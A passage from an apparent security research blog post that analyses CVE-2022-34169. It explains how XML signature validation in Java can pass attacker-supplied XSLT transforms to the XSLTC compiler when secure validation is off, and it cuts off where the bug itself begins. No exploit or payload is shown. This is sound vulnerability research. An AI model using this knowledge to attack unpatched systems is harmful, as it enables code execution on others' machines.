baseline; white-space: pre-wrap;"> method shown below:</span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none;"><colgroup></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #fafafa; border-bottom: solid #e0e0e0 1pt; border-left: solid #e0e0e0 1pt; border-right: solid #e0e0e0 1pt; border-top: solid #e0e0e0 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">public</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">boolean</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> validate</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">XMLValidateContext</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> validateContext</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">throws</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">XMLSignatureException</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">if</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">validateContext </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">==</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">null</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">)</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">throw</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">new</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">NullPointerException</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; color: #0f9d58; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"validateContext cannot be null"</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">if</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">validated</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">)</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">return</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> validationStatus</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Data</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> data </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> dereference</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">validateContext</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">);</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">D</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> calcDigestValue </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> transform</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">data</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">,</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> validateContext</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">);</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">E</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">)</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">[..]</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> validationStatus </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Arrays</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">equals</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">digestValue</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">,</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> calcDigestValue</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">);</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">F</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> validated </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">true</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">return</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> validationStatus</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /><br /></td></tr></tbody></table></div><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The code gets the referenced data in (D), transforms it in (E) and compares the digest of the result with the digest stored in the signature in (F). Most of the complexity is hidden behind the call to </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">transform</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> in (E) which loops through all Transform elements defined in the Reference and executes them.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">As this is Java, we have to walk through a lot of indirection layers before we end up at the interesting parts. Take a look at the call stack below if you want to follow along and step through the code:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Courier New, sans-serif; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:584) at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl.newTransformer(TransformerFactoryImpl.java:818) at com.sun.org.apache.xml.internal.security.transforms.implementations.TransformXSLT.enginePerformTransform(TransformXSLT.java:130) at com.sun.org.apache.xml.internal.security.transforms.Transform.performTransform(Transform.java:316) at org.jcp.xml.dsig.internal.dom.ApacheTransform.transformIt(ApacheTransform.java:188) at org.jcp.xml.dsig.internal.dom.ApacheTransform.transform(ApacheTransform.java:124) at org.jcp.xml.dsig.internal.dom.DOMTransform.transform(DOMTransform.java:173) at org.jcp.xml.dsig.internal.dom.DOMReference.transform(DOMReference.java:457) at org.jcp.xml.dsig.internal.dom.DOMReference.validate(DOMReference.java:387) at org.jcp.xml.dsig.internal.dom.DOMXMLSignature.validate(DOMXMLSignature.java:281)</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">If we specify a XSLT transform and the </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">org.jcp.xml.dsig.secureValidation</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> property isn't enabled (we’ll come back to this later) we will end up in the file </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">src/java.xml/share/classes/com/sun/org/apache/xalan/internal/xsltc/trax/TransformerFactoryImpl.java</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> which is part of a module called XSLTC.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">XSLTC, the XSLT compiler, is originally part of the </span><a href="https://xalan.apache.org/" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">Apache Xalan</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> project. OpenJDK forked Xalan-J, a Java based XSLT runtime, to provide XSLT support as part of Java’s standard library. While the original Apache project has a number of features that are not supported in the OpenJDK fork, most of the core code is identical and CVE-2022-34169 affected both codebases. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">XSLTC is responsible for compiling XSLT stylesheets into Java classes to improve performance compared to a naive interpretation based approach. While this has advantages when repeatedly running the same stylesheet over large amounts of data, it is a somewhat surprising choice in the context of XML signature validation. Thinking about this from an attacker's perspective, we can now provide arbitrary inputs to a fully-featured JIT compiler. Talk about an unexpected attack surface! </span></p><br /><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span style="font-family: Arial; font-size: 16pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">A bug in XSLTC</span></h2><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none;"><colgroup></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #fafafa; border-bottom: solid #e0e0e0 1pt; border-left: solid #e0e0e0 1pt; border-right: solid #e0e0e0 1pt; border-top: solid #e0e0e0 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #455a64; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> /**</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #455a64; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> * As Gregor Samsa awoke one morning from uneasy dreams he found himself</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #455a64; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> * transformed in his bed into a gigantic insect. He was lying on his hard,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #455a64; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> * as it were armour plated, back, and if he lifted his head a little he</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #455a64; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> * could see his big, brown belly divided into stiff, arched segments, on</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #455a64; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> * top of which the bed quilt could hardly keep in position and was about</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #455a64; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> * to slide off completely. His numerous legs, which were pitifully thin</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #455a64; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> * compared to the rest of his bulk, waved helplessly before his eyes.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #455a64; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> * "What has happened to me?", he thought. It was no dream....</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #455a64; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> */</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">protected</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: 